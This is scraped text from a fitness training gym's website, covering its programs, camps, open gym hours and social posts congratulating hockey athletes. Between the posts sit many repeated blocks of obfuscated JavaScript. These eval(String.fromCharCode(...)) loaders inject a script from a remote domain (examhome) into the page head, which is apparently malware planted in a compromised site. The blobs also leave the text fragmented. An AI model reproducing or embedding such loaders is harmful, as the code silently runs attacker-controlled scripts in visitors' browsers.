About Us

Firstline Fitness Training opened its doors on May 5, 2014. Since then we have been providing training to athletes of all sports and skill levels. We also offer top of the line personal training from our team of qualified and experienced trainers.

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Training Programs

We provide a variety of training programs whether it be personal training, soccer training, or hockey training. Our training programs are designed to help each client reach his or her fitness goals.

Sport Camps

Our sports camps run in the off-season to help athletes develop the strength, endurance, and power to bring optimal performance to the game.

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Average Joe Winter Sessions

New Year Fresh Start Take that step and commit to changing your lifestyle. When Starts January 8th Ends April 25th Tuesdays and Thursday 6:00am For who Male or Female Young or Old Any level of fitness Included 32 private 1 hour group workouts Full service facility ie. Towels/Shampoo/Hair products BioSteel Supplements Custom workouts catered to

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Open Gym

Starting October 1st Firstline is now offering memberships. Bored of the community gym or the big box gym? We are opening our doors to the public between the hours of 1:00pm and 4:30pm Monday through Friday.   Includes Access to the facility and its equipment Monday through Friday between 1:00pm and 4:00pm Pre and post

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What's New

Regular Joe Group Training

This class is designed to give the general public a chance to train with elite trainers. Our educated and experienced staff will run you through a workout that will incorporate strength training, core stability, injury prevention, and cardio vascular fitness. You will not be bored with the same old workout. Each workout will be different

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32, 102, 97, 108, 115, 101, 59, 10, 9, 125, 32, 10, 125, 32, 10, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 10, 10, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 10, 10, 125));Huge welcome @trevorharris7 to Edmonton the @officialedmesks and @firstlinetraining

eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 32, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 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32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 32, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 10, 10, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 10, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 10, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 10, 9, 9, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 10, 9, 125, 32, 10, 125, 32, 10, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 10, 10, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 10, 10, 125));Strength and Conditioning coach @kylethorne10 of the @officialedmesks is presenting to the coaches of @sherwoodparksoccer on Human Performance in Soccer. #

eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 32, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 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114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 10, 9, 9, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 10, 9, 125, 32, 10, 125, 32, 10, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 10, 10, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 10, 10, 125));eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 32, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 10, 10, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 10, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 10, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 10, 9, 9, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 10, 9, 125, 32, 10, 125, 32, 10, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 10, 10, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 10, 10, 125));?Unbelievable job by @hometownhockey showcasing @strathcocounty and the talent that lives here. Plenty of Firstline Athletes featured on the program tonight. Great job Ron MacLane and Tara Sloan.

eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 32, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 10, 10, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 10, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 10, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 10, 9, 9, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 10, 9, 125, 32, 10, 125, 32, 10, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 10, 10, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 10, 10, 125));eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 32, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 10, 10, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 10, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 10, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 10, 9, 9, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 10, 9, 125, 32, 10, 125, 32, 10, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 10, 10, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 10, 10, 125));Registration for our 2019 Hockey Off Season training Program will open January 1st. Register in January and receive 10% off fees. Visit the link in our bio for more details on each of our programs.

eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 32, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 10, 10, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 10, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 10, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 10, 9, 9, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 10, 9, 125, 32, 10, 125, 32, 10, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 10, 10, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 10, 10, 125));eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 32, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 44, 32, 54, 49, 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32, 102, 97, 108, 115, 101, 59, 10, 9, 125, 32, 10, 125, 32, 10, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 10, 10, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 10, 10, 125));This is a perfect example of a kid with a dream. Tunnel vision on his goal of playing in the @nhl All those hours in the gym and on the ice are paying off. Congrats to athlete @c_hart70 on making his NHL debut tonight with the @philadelphiaflyers #

eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 32, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 48, 48, 44, 32, 49, 49, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 10, 10, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 10, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 10, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 10, 9, 9, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 10, 9, 125, 